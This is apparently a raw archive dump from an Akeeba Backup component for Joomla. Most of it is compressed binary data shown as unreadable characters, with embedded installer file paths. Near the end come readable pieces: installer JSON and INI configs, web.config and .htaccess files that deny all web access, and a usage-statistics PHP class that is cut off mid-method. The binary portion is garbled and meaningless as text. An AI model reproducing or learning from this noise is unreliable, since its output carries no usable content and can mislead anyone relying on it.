~J`����̈́���v/5��fy
naF�k���a]�g���qzݑ��5��j�H�
('�=��U!Cx�8�Jw�&b�����1�ߎ��#sF��Yx�=���6��P�t�����$2TYj�{ќ-�ׂY#q�:/�Ì��+����<(dQ���[�iza���ƕ���J��
$��31(�q���Q�'G+��p�]���7���s�%" �jeLj��!��i8keRnay��M�459(��.��
�A;�noq�lx{�N�Ӥ��mb$i���6��a�s��]��R�c�u��gf�8r����VS�?�ȧ2�8����*Ϭ���-#y|�m�v���Ud�W�<�*q�2o)�
&���Έ��\�g`�c��;۔�C�E(h`}��ـ�pv~�#�Ib�E��0����*
��P&�#4�MW,R#���-�Gv�#z)��إ:QQ�v�%�ձ��
�$I�fi��؈�8����Gr�S��`�οq-�3Z㢑6�p�&yO}s:�^��	>`���yb�/^V;�x8�;Q��6:��Y��7���O2\��1���U�VA��H�R�N��i����)��E�R�.bqWI/����Q��$�u8��$W,4���J�T����9���)�g�=���f�'�;��5cm>�`�.-a8|qr6�q�{%Dug9�C�mBF'Y�y<��]�0����5�;�*������v#��M)H�7ɬ�Z���[�D�3��B��r��r*�Ļǰ��Zs�no��#�MRqУ�h\�
P?��B���7�t��H��F� va~.Z{�-��2[��+�_></ܪ6��Y	$�(����L�S*�T�8�@�^M��SH�[�\�$6�L����f@|-��|�@c-��ߞ�ێ����4��#��	����X&R`��-ڈze5K�Om�U69���>��6�M$Eׯ�|Yi٩��
c�,[�x��F_��Փ}����S�M<���8j�U��H����j��p[	���4E����	�N��Kֆ�����W�Q�RG�=�Y\,�9߇����Mi�\��R��pw��l��8�R��R��l7����/���&��v�]��7����w�ã����`��۳�oߜ�>8?|)9�?���k'Q$�>%IZ��D+O�>����'��^����B{3mα�AQ���G�$EaipU�}��58�Inn]f�����yg���-�����/UT�T��RX��Q���
�&���=c��KW�ί�Փ�n�������Y�E�6��2̯���ї>c������I3��V��YC���$�Ғ����X���T����u�_�Ä�Q��	�b�0�6v5�oǹݵ�*H�9�)�ޔ���!MD���-&!k�_�9��&X4�:bt���W���m�ȭ�� _�*1L-i��sQ_�v�0�A�n�|ٵ��sI�A�U�mV齅7�8(�Uzʈ��w�g==��U�Cq�����2�������_a�[]�=�yK�<hp���5v�FC?'�82�]���浠�N�煑u����7��D'W��[ᰯ�Gc0O���o&�$��������;|qt��˓?����7oO�t68��������}��˯~���� Ji��L���	�)�^�.�����ԙ�XFG�j0=�cJ�I@�b�*Lw�J��#rjMPR�����h��R���Q+��q��um8���m5�ud��*g��q0<wC���R��-�Kg�% �2B��^
6J���f��oj���%�:�A��1
��O� B�4�C��!�Q��*
�M��+�PJ�EP$Z1�j��(S����]���/��a��6f���b4n�~[�p�2�$��;�������3���F�M-��x����7�nW��"���%D���֞_��6_
I5�+ր�J��#�b�I�4�h�T�C����A5��,���|�Gq>�4ey��Ԋ�ʪ���i1�q,�q6~�ۙ��,E!��>����$7����w3�?~���0��ϱڄ�v5L�o�~��`�s���y�(gO䎮&�Ҵ�٧���rpG؛ ���-�U�T��d*Ri˂��K�:�jX���&V(����R�K;XSG�Z��G-V�,�V��X��Ɓ5�-`������ph�ſ2F��P�_���2� �E;��)t(��J��f��ƫ��c������&Ot@�ʍ!<�C�Ho���v�+��q�������N0��Ğ1X��`�PUx��� L�XN@/��L¥EY��K]��-E�(�^N�VBg����D��6�pH��6�r�i������u߲�X�e�vl��:�I���Q\������og�63
�%L�y���\�!�H�8_�3�Ń���y ����ߔn�C���z�����#�L_qM2����t�"f��S/��]���o��}��c,@�a�>��H�乏��E(�1�ߢ�t~��lr�S�rJ��h,��s��)�x��G�R�%�=�a��\B��,��4U�%�s~[ n�h��K�i^YJs6o��8g�v[��Th���J��8�Wk�h�S�H����JN?�����M?���KM}��O.2m/1�74��q�"�Ҷ.Ds�ͥJ1���b�>�f��ZR"ּ+M��N�(��![�^��虽4���^w���lY-ٿ�^�d����kO�2#�dV00�P&S�E�
6���TX��6(���V�-��[\����/'F�7�dS�3�Z8�E��4	��ץ�K�[�	��&[�b۞�N��M]ZT൥��m�9c'�%_=*%������p/NpP��q�Y'2Z���$�{�*x[�׍g�֥خ�H��)	��Zi�~�96�1-���Ot�G}QA�e	E�򔢚�xfUG�Д"�mN�?%'�[I�Y_�dĪ��P�U��.��ۤ���K�~�3�<�z�O��e�Oy�}���O�Y�S��O�i'j��-�C	�,y:�Pn�n�&ѥX��3*�%O���2�E"��I�1�������~L�M�b��[��
V[F�k�ˆ;�]��`W�r/�"V)���s��j>�f�T�3�y<\�>-/z��C���9��� ��27�u���	��^� h��
� �u��ٽ�ʈs*CWExz���e�I�K�P��E�b�IU��.�
�	-�)�/�����y"��Jq�ƃɻ*,����F�� Im梹�$�U���>.k@�r+�߷��zŝ��M�q�wJE{�[�3M*������}��4��vJ>9[��s-�q��u?V��Po��
��ie�"JCkaek���*�Z���}�F�e�vouTU��>61��J�Aa�����} -��*R��pک=qͮ�{=f�����s���1�\�{���7��r��y��K���pj�M�ܪ�،��rYb�0�����[7�4c&�X����4�<5|�1�v���p'"Uxso�8��\�9X!oXFjT�TN`u�</�I:,���5~��t�"�h�#�H�3�DZ�]W�2�aF���������Yu>{j>cW���\_2����P7��Mcݶ�a��i�{Da���e��PvMɑ��r�QsIO��C;�2�U�G��ǫw�ù�B�O���1Kӊ��2�0g˞C��?_�K}Wda�H]�ʙ�ev�]��)�3�v��t��^|�=�t�`�۞��K�VЧF

vvK-䞄UI� m��Su{{�� x��}>CqWԞ�Zv�:]�V���u���7d��-�Ak��pՍ�)��
��m��t�َ߿k��xṱU	�V� /�L���$Ln�I�4��]�K4�.�Ŧ
_gᥢ��M.�����*؜����5���
��'\�,���{�֤�h=����!����+�Mr�K�x�	\Uq��,���L	\�qK��h�)�k���7N�4��En����c�uZj֮�>�!ʼn��i�LJ
�䲙E��� �2J�R�9�z�C�2�P��4�t����#���f���螿)��e"�A!dmz�(�u���9��'\8��^jU�Ђ}��f�E,��1��"��S���,��T[=�E�\۠���j�R.M�|�V����+b�a�Xf�����V��囨lC�W��uR
�B;�����Hŭ��=���9�Ⱉ���(G����b�E�So�f���_����Ŵz]
�
���F[�Dc�hp��i�_N,�J��j��g+�˧�z�g��9�܇w{{�>�f[A��$��x_�^F���9���n���nl�Հ���M�uj�[eӯ�i&�~J�3c�Z«4��Bt���Z7�d�8D���\�ׅuLx�ǝ�y;��/(� ��?���,�n��t��)�}�>i��&������c�t�_���X�m�a��Hj�(0�k��
����$�����Z�ꯞ�{;@A OL�_	5�o鉋s���~<�}^�.x~/# �k�B"ǒ[�ʋ`��(/�p#3�*����,�-���_Ž�[<U�\��5H�LS܍�t�K�gm=0�J���D,X�Z�:��}5���M/"3oV�����,�X��q�����@Fv?度�
g�����ՔĖ���e���h�RI��R�„%�yjc�v�"
�˟��:e8g�~Ww�Ö�"���W�n�Dy����B�-�B��J�&�ay�q�w�$Fi�o�=�V�0�;�9�����&��@��E�Wl���x��Vj�ל_.�6��ן=�n�rl�S���oԵ�����+��I�7��TuK�.P�B���hŏL?�^:�l78�Jo���1P써��s4��Id��>.}�l��g}�5�[�s�7�La#�xL�k��ќJ�i:���9���[y6�0�-��y��-�L�N�'���q\ḘS��E�a�J�Gۢ�fW�/%�&EV��np3-@���{Ő�&���������@ì��$e`di�ih�̧�9�#����D� Sp��,�4���}	W<!��)��-v�I�����'��%��y`���T@5��O��?�}���1oҹ��ƣq���|C�*�p%���� ��?xe�o[6-�]i��O��͝�Ǭ�{8@��pz*[[����>t\!I\���7/��bN7i8��_��m��f��a}����BŔ�>T���:��@�'�{���[����X�͹$����t)�
߾{s�M7��meXfނn=ǦH��;L�I�Z�۞����+K�?/ҷz�ʺ����D��4�oq����?���(��}c����|{�2��%O��]]�f�v��{enJ�
�VJZ��Ӏ�r���+`e���Ʉ5�+�[=œԭ�Z��!��b�9*�:yp�&yH1��w\���{CB��o��;��k�i��wLc�^���Z���ǪKՒ5f9�%o�	�u�vXs�X����\Z�\y�qW�|R��ܾl��D�n��5d�y��I�3�Y���^�.Y�UǪG��Ze��=��7�V)�]� 6�֯#�}�E��xR�OR]r|gn�m�F�:��:��?�7��G�ԿN��}.����Jpy"��T��.��c������ݩ�%
=o}�����
QS�3z�(:��5~�vԶU���S���p4%��#�9~U�[5�^�{��]�l'h.׆���9����[=H�M�Ŋ��=��n��_mqR�Oɷ,�#R���z�Z>o%Դ�C�Ğ���H�f4!n'��h̯~�+�����A9��{�
g��*��n9��lx_?�.��&o�'W�x�Z�"��ӉT���3
=�������t�v�A��PJ5_��15����!fj�6����XU�y�<�O���m�P.�_*�+�볮0_�)C�LH�Gռ
J8Z��ol-\|��TbB<��暠m\N��JPF@+installation/platform/models/joomlamain.php Q���Wms�8��B����IL��ws�!���v��7}�0(5�+�I��V�M1�i{�����V���>�Z��*���ʓ'E�X�F�Nv�`
D0	�����>.g�$〓!u?E!�ܝ�K��@%��pN�OCJ���?JW�І2s�.�!(0a��� �s6�JR[|������;{�{����i�QAޘ��E�RIm��H���P��3�8�H/�i%�����k��K:��p�X���0*���^�ZFY	���/�E!b)��`�i�<ڦ�'�E�?ZެRj��O��b\@t>'2 #��J"1Ա�GD�*��+�B�G����;�EK�bU�8HrH�=�k J\3|:\�z���jV�V�Y��I��;��`��D*ć٘��y�0!Ei������]/��.�ž>]غ�$hև+r�@�B�h����rҞ\����	X���n�|	�5659A�ռDB3di�I}I�{i��&�<0�[ .�������j
>��ޜ�(���o�f��NX�G�j轖58��1�f!��%�M���^��<����1����!+dSB�$�o�%P"��� ����%�"!"W
��Mg�%SI�e -����s�8��K�O��zs��ӢGh'�>v��|M��G�DUZ)��"[�n����u�ꎓ�P�KK2��ںH£����ɍ�Ě��d�q�YH9�����o�b��'o�dk���޵a㙹g	G
�%�Y������ͧ+�7��q/��R^�L�GJ����!xF�p��Xl�ϟ��3_�KF�jv�V����9h�9���f��X{�jy;��F��/
�l�w�p����y���T��>rXkStV�/(�����nAV��۵F��=9IA���|�h�脹��(� �I��Uxx{�8��_��OC���V�j��r��]ܙx�����k�;��F��t�3�t�n����Ob����	���{D���Zv=V�W�T�[b�3�ߺ��5�|�3b̆Bru�ܨ�@;���$�AP���e��~b���3��hQ��{|�����oDU��D5|�$ΩF>����~�7*���G��站h�
��4k���N�I
��8Q��=�7{�ov]콭�u|gJ���t2��W���j���U=��i���]�o*�W�g=�p�2T�<�s�C��h�tKy�B����#L���k$FK���Eĥ#��b0L���٘M�����#&�+ΰ�x�N�L�}�-�d|9XF|x'�3~ z�n��8�[Gp��N��6YMx�,n$�Z���<�bZ/���p��g2�gN�8�����3������Tsl���g\J�)
��+�Ekt�l���:�(�|؎�v���w�v>t#&B���<��A ��TS̉O�j�n��"�/׮e4�,`7F^�����~�,�k8�g\�wz����z��{6�����B�0��0�AmA`�n���u6��lq'2i$����������qOd^�_Y�!�k�[��AMU��p�
�/JPFK6installation/platform/models/serverconfig/htaccess.txtM����V�r�6}�WlF��H�si;M�Le��Ց%W�GV��D�$��d��w$e����43������V��*��0��-9�ߔ�#F��J2-���l~�:ux���4���'$\�H���p¬�ڴ�E��
hn�^�E���4.�QG\r�"8M�z��b%�(
C�_�p�n�돼����j�B��0��a|�Agpr���^���p6�@�x0y0��t��y�*�qr���;H,�3�PE�Z���'�م�e�KJ��G<6�6�b�-
���L5s�eׂ���H��,�	��F- V���k-,o�<�X��lŁE�� �9GR
�0� Cna�|,���bB�q�
��@F�C&�B.	cl��B�|�qW��*�\�&�f�8���R<W&�k�t��c.]�
k�� �*�R��8�U$�j��
d#R,�BǢ�s��R[2ˍ-B8V�#T������Z�����>d�1MOrD�RY�+v��NB���(�+�QswfX��،�te���K�4�=�AR�$!��(yt|���-f�6W+L�Xl�m��t��qIN��B�!r�R�0��t�D<�d�taNls)���TK��h�$RšBD.q-��Ԯ� ��RH�pS.}G��T��ѡ�<H�N#O
���%J�'v�p
��(�f����Rn�B��ޕ����d��"�ruFy	����Uf��k7(&�^�$��P<;׿O����h<�n�o�~���k��u|�a:ΞLN�)��i�����%�w�������1���s���W�����w�J�������z��vo+�ó��`߯��U{s>�9ߙ�7n7?ͮ��n���M~�>�@U���C��_�/�=]]ܦZ›��p��\J6DK-Ƅ�K:ctm�d��P+4���#�[��a�3�=<��V&0=�����!���I�ƪ�1��D[�b�Q���jCKQ�8H�I%��(>��5���~l6�0z����T:q1��rt�w��TӲ2!6E�[+'L;�mjL&-�ʭC����_6z3XDlI�r�ԣf��{"K?!��sDҊ���"7�5�羾kH"�
���<NJ2�]��K��8J�C�l�<n��s8#��$����k_�<x�j�B��
�np��Ž�+A|�F�!�m��~ �&L������E{2>�����v�߶Sd]�?����J8Y�7w�J�8�][E�/�Y�A�!�~��{�U�%~#gT$A��w`��>��b�.&��-<���>�xL� ���ō��:��Y��?�od�O�~��ô���LE�� ]@b{���=����=����JPFM8installation/platform/models/serverconfig/web.config.txt%����Umo�0��_�Yk��A苦MKZQ
��v[�o2�5X2qd;����1�P��k�D~ξ��w�Ͻ�3���<��q���iy�ݪ�?��7��-�RA��w~�r�
%D�<\�sXN��qa�&�ؠ��T@���^
>��yȐA��[�$`䬶
��`	���܀�0��<���1#o��A�Iœo� ��G���eLT0B�`�[���#�\@�H���a};!��B"�#V<M�u�Ow��$��Ty��{��4[~������U te�:�gS��^�ku����ψto:�(R�g��e[��^N��AU�YG�X*��Ij����F��f�ά{�)�?��?{��'����hS��bF�Y�|�m�i�}�S݉cd��k���h�]!%Y��ʲ���ϊ��"3UV��0�xa�i�AY��u�L�����������S�بj�o�����z8F�(������� ���j�Q�)]W4�ɻe�X�U�`g�u�x,���=�ϟ���ܫ��ЊG�מp��9\g1C�q���JPFI4installation/platform/models/joomlaconfiguration.php&	W���Xmo7�l�
��R ����!�=%M�9���-��0�]�Z{�ܒ����g��7k���`kEg�Ùg����e9�޿?�����q N�J��)a�u�H��B��d�m�\&W�RH�,�keEb�t*�])5��U�(�j��5l�����J\d��]nLv�t�u�4J��<<|�Hg�R�Ҋ�b�=�X]�u���V6޻�u�Y�
K���,ުB�����}��V�ҾM��c���A�Y��Qt>��͛W�hLi�F�g�A����ԩ��z��׺Xd�*�ɩ"mK��Vud�J��J(p�K��Kp酈"��+�Nju�����D֙u�FÄ�AV#7��D�`�I�n͆��X�x��{өx-�\8�p)�*��Uj?��i��IK+E���U���0ܫ��0z�I'2$
ZeI
*��ͦ�n�ك�����A���r��2(�&"zFލl!F��+�9W�2�lG:l`� p�V���f��� �4�n�N����{-Ӟ�^K��y�
��vT�&׹���.��DZ�dn鋲��KB��!b�q�N+njU��hKw�p��Α֩�CO
�#պ����O1�5%��CNu��K�\1�T���C�4��y�#?W����08+���(I.j��oė�<�.ɱ���7||D>�w�Hg���3�(�dT<��6���OH`��(��y���^����~����i�ď9FOvu
;��kvq��p�5B��W-���z)o�����S6K���b�^�B!͑�k[��	Z:%�}��F�*A�~�r]�j�B�,���
�3Ke�kj��-+u����͐�ͱ\)
ۏ��"��w��"�U�ef'��w�G�Ng���N��uL��
�\MWԎ�������	}wCM��`�,�j�������<�����TY�'��V���ǰQ��pM�C�'��=x��E�̈+�ɻA^�:^�a�
��-+.��M�·�k���	ƹ��JK�����@p��~�|W�\��b�g��H�u
���9�8��)��b��1���J�2��N6��<H�SK��.��5xg�f+�:eK�[q���y��U��z���F���&y3��Y��y�4�	ؔJ֎�f���z.�{����t�J4��-rj�(��(�6��f��4l���u�s�s�/|!����op'�x����I��,XҐB���s]$ʧ{���25{h�?
JI �|��KS�e8��K�x	$��Z��|���	Cx�UՃf��~֭�ZRN=mo-�upg��Nf����%�&-.m��n�W)R����cO>!��J���Q.���5����ϩ��7ߚ��\�q���7��딺W��6W�h�"�7⚓����'heX�'(��,,�S��-2&õqtp��mW`I))"iA�϶�6�����!Vf!�иcNa�����MJ��6d�obL��6m������y�I�6@�+�A�K��ߖ:��V���rF���X!�g|�ފ>Q�+���0�z]��]�
�Ӏv%�Y5�̞{Xs�2-3"-���m��tJ=�N���c�GHE�&�[*�2����Egg����>&�G��@Hi��ُ�2��<��`!{*Fg�g�2Gc�O���-�I�Y1ޯ1g�G5�����p�)��)�įY��4�
�
t1�+��7Ҥ�?�
�F)���F!��[�*�I��_��D�/�ĸ�jg�`O���|9�|ul�p��Fw:w�2����h�L�jc�ȣ�I�Z������U�ё���^!�|C<�:�э��ՠ iv�>��Vm���8*D��ZVP���Q�\��^��nh�Q�[}4�	�.KM%^r�
�
�w��tL3\�\���S��{
�y?P�)��.Lխ��|s�!��4>��zS�� ���ur��r�Qg.�!���@�Ô�Uc�
�aau�9��ݤ1{�Is��\۫����h���r_�d	�ѫ������?t��]����խ��5V-	BYS�ԻC��.�!��6��Cu��w(f�H<s��ǫ��*�h�T�0�����'��`��=�;��I���T��su��}�hs��3�F�����O+
zM�j��5�ʾ��
F��pY��zw��F�@�F織�[����ܾ�F�v��w�g2^��8?�Q�/�΅37(��P��9�[���SP??�/�L��A�/���i���)�a����"X�z߁��t�w���7S��m������[�^�!'���2R��߹Iv�8n�`K��VWw�σJPFF1installation/platform/controllers/joomlasetup.phpx��e�OO1���Ɵ�K�d4�	Q��<�n;�6�N�"1~w��x��ͼ�}�E1
QV˗Fض�h!PLd2�U0>a��T����5G�P�d"���rOTK�.���͆-g����gU6d�1t�)��`�6a�7��`2ߍ&���Q-[���st��`9��z��>��F���e��%9
���Pg�x��^��J6��B��8��G�Z,feo��Pp/��"�.��]
l-�W�O+7�rg�J��?d&#��-ď�JPFE0installation/platform/controllers/joomlamain.phpj����S]k�0|��>씤)�ӵ�\�6��A�����XE2�J����8�Ѓ�[;;;3��~��:�p��d�VV8��iÜ�
,7�vPjsƗM
��J��7�0�@�D�3��!Tѝ�j�i�sUS�-����zcĢrp���x������������d��m��u#��a7���K
��z���p�

���̩�������@�$0�<��K����Y�0_�i�
�Y�"�9I��{�7Z9��D�C�dOL(�7�����f}=~�#�vD:�fNSȬ�U)M����I��Du+�l[X�k�Y/��+�Q����r�HwH�`�A8?�-Z�ړ�9���J�H��q�M���`v���53��']�lm�LKV��w���K�C�9��j��c�c��}H?�3�m�^�SH�分��'��;��gԞ�#C�A��
�Lw��]����F�� 閤�oۋ�RHTl��K>�>{�L�p��<
cE	�o�ᛰ�f{��:,;Jh֯+d:y}w$掐�]DW� k���$K�A��|-a�1QjY���/l?6��EWz>���Z&�{��V3T��e�4J[zQZ����d��Z��6�
JPFG2installation/platform/views/setup/tmpl/default.php�
I���\ks�H�l~E5;�S�q�kcg0Ȇ"�nͤ(!5H�P�ԍ�����z�$�Ȥǒ��>ι��R�o����?W�Ϩٿ�jHEc#�0�L	�Q3p|�f$@S�|X��L�y��6���50��:*�Y���dp1���Ԙc�����I������j�����?�ӓ�3�wL��E��6(�L�O�.����1K��:&�(o���	�b����)<@���#(����I.@�z�b��a��L��i�uS9�,�/*�U��G#@?2ۡ��
���'30���"�r�=�.�B�I<f@��ze�>h!\�^�1kG�E�IU(gY��xMN���x��;�J(����������^�r����F(�g�o�@e��ml�FȓZ���^�2*MP���{�3exq75†�\�-=S4q�g� ]?I����a�YS��\�quA��:�K��]C1�]� l�"$iz�c��n�P�a�֧Kƈ'\P�������q}��Rl�|z^�?==GF�dQ�-��S��L�J��5��-\��xUipx�g,�eU<���*2��.�	6U���&�e�'�U B�e5���FT�&��_�E�zU9hX�#�w�
�Ԙ2OU-#x�"ʞ]�>�s$b󢊈g�.����.�C�`�C3å����7��9����W�:"��6y�H�#���!�U�]C�3���K���
��T�<��@L�D;RU�h�	P���08&�vas�S���Id�
<�A�Q.1��QX
�]5xfE�@�1����'5E�Ɵ����lk���k��y�C��΀ZBL=l�ۛ��s���s�)vyn��ќ-ѣ�-z�{B�~�N��aku�\t�x��!��Oԯ"ǒ���L�
w	7$�Q�P =�l�ר4H��z$(Ma('�
�P�
�|�<�qQ����Z+/#��	^�[	����E(G�"�����"�}7T��o
�0�bo���j�Zb�$4���V)x��/���&�鯀�ˇ�@����5Α�$R"�����<.�r����P�.���ag8�G����K/�w���y��A���1�'#�o; ���t@kUTr}q�M@���^��7G�n�v�$�З�z9�������xOt�E����Z�FL��9ta0�^9;����ޕ���gm��o���vWo^�������zO�Q9L4N" ��}�~�xBi�N�y��&�VCj��4�1�.F���BԮ��?Q��5Q؎ɸ�ک�$���Ŀ5����ȁ��)'%-J;�{�Ҿ\�}�l�[$��"�`v)���qg/$����(�z�7�T~D�hUcsM����ŔƋ5�kTA9<B���/�'0�U�X9ܚS�N!�)a�ܰ�x�k�hp=��h�#!z *��9_�q`�IY��)F|��]����x�LZ�f���G;���=�h�C.����<-�$(Z�ճ"�ol�P �!p���m,�"���įTi��9]��Ӥe����B/"����u˦&>�&�P4N�y��u��ǥ�*��%�9w�吪<v�a=��D�b��|�<ۅ�Tt�%��&?�:�W��I2>I����=H�:��ڨ���R���E�|�..�����N|H\00��;�?���L��ݵ�b�H�	hA"�4�]��WwЇ�?�wdt���p�3\��`7�7T��_7��
����a�=��lu����{��2y�|�`<d��=���S,�U�'
�m����0�S�N$��O��"�l��sw-�X ����s,�V� �����vw��d���mע$�&��y��$��ͮ��2�u�hê����Í����L��izk��F,���Q���0M�����8|m�v��/�_�vO1;�f��*�s�����a��m޴*;gJ�&BYؒb�e</��d.�w-ff�~���f	�1UU����[NB��^��M|�aB8s��+�c�bK�ғT+w'�89���^�f�MƙM�%2%�իD���
�շ��Gڰ�li��u�'.�;���mC^�ao\�"�q�ٷ7��0jA����J��l���je�H�ýT)Z)�>��s7��
;�n��q��v��1iirWA7�Do�����C�O֫�'ޠ5���R�T�x��HL�Z����r-�;+��;�t��ؒ�K�<���m�x8�ۇ�d����$?�f���! �m�4�;�|�>�[贾?��`��mu�F�_%�g&���=�ы�\��̴e˃���Q�[���0�Q�
�XP����r D�����o�}��i9����^�OD��d��r������bd'����st	��%��6���R�5�U(FM0���Y�]�<��Sw�%�OCm�	:޼ӥRϒ2?��m:��.sV���Y����}wgYaUK����;�	�L�åaG�"�M�A�v�����={�t��N��%�GP3w��Q�F��I�H�+�"��$��B���1^�څJ��뼆��w�*�Q�u�fp��+ZX�%f�������>�`�K3��kh�P�볳���Ԝk<D�Q4�Z[70(��v�$����wn�Y�x(�᱓6��E����>?�-��|����c��{z�:%���9:=�mz/@�P��&O7���q9�O�vZ2&�rt��t�|���'�l[��8ѡpBmPp��i�忹�y{!>n5�i��|��l�L�V�_���dt1����t�Xk�ʄP�N^�HnT2�����\d�[.���gt�+����sE����@/��@�6��x�,:�x���Ų"wǗ�]�._�j�y��0�ɯ5�ۀ_8.��p0�!k���܊^��9��~X����g��2��*�7����A�sҹ2!k��,:��;��k�W7�/:0V�s�˓‡_�ǂW{g,��o����vw{D�+!��h�%r�F+��U\�X��|�$��j�]��!X��4 Or�ß�5x�p�uX�vx!��n�L�@T^=�~�f��A��������� sv*˦�ޞ�@�ל�e7��}�;�)���d�C|V!"і:̠I���N�N����JƘ![��?+9x^1c*��pY�Z`�d^EF�B4
�8�%����9�t��FnD*'V�1�n�g���!D��c�P���$P%bs�zr6EJ��/:Hn����Ք,��5<��ɱ�}Y�pr�*�1�ſ�����h��#�$H��jD߼Ye��W���
��y �&�>���R�d�/�L�goo��碒�>���L�{��H�߲�9G�횜噰lό����
ɚNF�װ,��lLs�[a�	[�GH���@��L�=2���}Z�xK��?$�I |U�?JPFD/installation/platform/views/setup/view.html.phpa1���X{o�H�>�\զ�K�tR�%)I����8)Bh����Z�]��ov��&����HA���7����4��wUx��Uˁ=��)H�(*D1�t����!q�N# �ٌJp%�z0\@�+�Cg	E�+=pԡ�|�p��)�5k.���}�ٓ����?|�:�y@$|އ4h!yħ�p��h+��
�KC��_u�ኆT���!n@;ٜQ!�_v]
���ժGG,��m
��a�4�Ǩ]�X��h�������y�*�~S4�pY/U��V0��iF�� �R+Q�}G*��@��c��"��C΋�>��w]$UbJ�jE�JP�c��a��1LC�
h``}�>�T���Ԑg�[^�"�K��M����c�@nօP��*�X�m{=�Vo-Hz��Q����A6A'|F�~�Bvi��<�7�Eq�#uQ'oũ6U�h�{����7��Ʉ�!WM,�@���	c,�G���BR���`!1�,SӼCh�J�dFA!����\�z�6А�Bk�C������1���<�frB�믃�'�u(�5�i��xxF�y�k�B�V�`�Vv����I��פAD�mI(K��<$M�RL�BT�H��흌���/I?�v������22��q�=��$ q�ؙ�cp%y^�eZQ��c���|'�Y
a/Yf:��t#9�ˀ~cRI��h�ޅ�{x�6m��8���v
���ё���4�5U���4�d�T����q0^��,xF]0y�k��eu
�A/�=��l\��y]�&y�ˤ��L��p���L,�%=	*�m�+�,��,k�,zL�ұ�>�Ԋс�=��;h��=��=��\����̓�mv[�֠鴻���ORҀt��1�qq�lt.���I�5�k����2��1��^G�7�V�5�Զ4���R �=�w_�q<�ia�L)��M99�V�����-X��V�l&%6���'+Gj�k�sL�YQ��d�S!h�����9��i�a����5�Аz]�=�˒y߽hܽL&佪���9)�/O���n�q�4���N�WZe��o���9K~X�/��W�ͻn��{�xQ��������W�t�Lh<n1���@���H�(��t�s��\E�vȧ��~���7���cA�:�奼V�
,��&�WJE<'��E�exkq	�U��yI��кN̜�Y���O$�G���d�!f��5�Ո"�gf�c�խ�<9�;,�/R�K#R�IY��]�Uq{^��t�D;C�`F�a{�0��a�]�5��>x�T�GOlK[bV��X�F�)Btz��[%1�#��$�`+d�DhV����M��� �ϔ
�ɐXVݝ���$U�Ey�S�tb��sv}!l��rZ��z�_�uZ��^-ݟ��
��{��]syJð�e���w��]"���,�(��K��{ie�/Ͻxg��8���ĕS���&b�L���1U�g�M���(�g��තq��Y������n��E�JIӯ	V6*���h�3D
6��5�
��0F��������H�ϫ5���D�L�1`c�X����N���\�·�8�^9�cu�,��g���.=W�JPFG2installation/platform/views/finalise/view.html.php-���eS�N1}��b��EI��h�5����d]�������;�
7)�3s�̙3�����>�}�'W�c�c�tD���2jg!(��s�a&�S]���K�<ʈ�6�?!�$���x�L�qԣi󣢬\ SL�j��p�*;���G0ѪtF��Èm��\m\���w�H\F+��Ὶ��+�襁�zF	��%��C3�Qh$Cx*>`����X�7���s�5�B��NS$!@��qu��4��p��i��u��ݼ�*���9�yx/��0�}�b�C�L9)��w&��j�ウƑS�3�(2��4�b���]����h���-����5����9a{�رd}�W���D�j�\���g-*���-pݧ����Js3�9���%��q�׶=����r�YF�r�SbK��m*zw:{Ϯ@C�v��5�M$m��m4�nEf��A���FZ���iޅA[�� �TӒhK�7�6Z�������D��k����/>¨Oǒ��Kz/7"�~�z�4^j�D@��H3o}c�-D_#Ŷl�JPFC.installation/platform/views/main/tmpl/init.php/W���Rao�0����c %���A�u˶j��V0:��P�ڗ�Ե�����$�	�@B�����޻�|rV�ED"8�tz=�Y��G�輱�K��q+���`|Y�,��p�̣���%��nB���;�L�h΋�e��%�5n��������_	o�:�פ���T��(��
WA�֙”�8�c/j,%9jW�_O��5Z��M�
�k������J*,`��4�̀�5�i���̈́I
�����#3�Q$�<�/ҸUa�I�8�0m��@&R��᪨(��y,��0Xh�6���UQZ�����)�l6mV���fE���
���.Jk��gcV��s�RO��LZ��À��͟�!G��n�4e�DM��H�/��[x�yN����z&D�8���ZC��
g�(:�^��';?,~��o�!�O�\���:e����IUZ�D{
Dmi:ï�ߟ'�$M���v��nt;�
g6�0�[�50
ȃ;j!���+Bn��!KKȋN8�(����ӂiT�Q)-����O
�_#�C��'���Gt�ԙ�w�M�0v��com_akeeba/Master/Installers/angie-joomla.json000060400000000551152455305260015426 0ustar00{
    "angie": {
        "name": "ANGIE for Joomla! Sites",
        "package": "angie.jpa,angie-joomla.jpa",
        "language": "language-angie.jpa,language-joomla.jpa",
        "installerroot": "installation",
        "sqlroot": "installation\/sql",
        "databasesini": "1",
        "readme": "1",
        "extrainfo": "1",
        "password": "1"
    }
}com_akeeba/Master/Installers/none.json000060400000000254152455305260014023 0ustar00{
  "none": {
    "name": "No Installer",
    "package": "",
    "installerroot": "",
    "sqlroot": "sql",
    "databasesini": 0,
    "readme": 0,
    "extrainfo": 0
  }
}com_akeeba/Master/Installers/web.config000060400000000272152455305260014135 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <system.web>
        <authorization>
            <deny users="*"/>
        </authorization>
    </system.web>
</configuration>com_akeeba/Master/Installers/.htaccess000060400000000245152455305260013767 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>com_akeeba/Master/Installers/angie.ini000060400000000345152455305260013756 0ustar00[angie]
name="ANGIE for Joomla! Sites"
package="angie.jpa,angie-joomla.jpa"
language="language-angie.jpa,language-joomla.jpa"
installerroot="installation"
sqlroot="installation/sql"
databasesini=1
readme=1
extrainfo=1
password=1
com_akeeba/Master/Stats/usagestats.php000060400000004160152455305260014043 0ustar00<?php
/**
 * @package   Usagestats
 * @copyright Copyright (c)2014-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

class AkeebaUsagestats
{
	/**
	 * Unique identifier for the site, created from server variables
	 *
	 * @var string
	 */
	private $siteId;

	/**
	 * Associative array of data being sent
	 *
	 * @var array
	 */
	private $data = [];

	/**
	 * Remote url to upload the stats
	 *
	 * @var string
	 */
	private $remoteUrl = 'https://abrandnewsite.com/index.php';

	/**
	 * Set the unique, anonymous site identifier
	 *
	 * @param   string  $siteId  The site ID to set
	 *
	 * @return  void
	 */
	public function setSiteId($siteId)
	{
		$this->siteId = $siteId;
	}

	/**
	 * Sets the value of a collected variable. Use NULL to unset it.
	 *
	 * @param   string  $key    Variable name
	 * @param   string  $value  Variable value
	 */
	public function setValue($key, $value)
	{
		$this->data[$key] = $value;

		if (is_null($value))
		{
			unset($this->data[$key]);
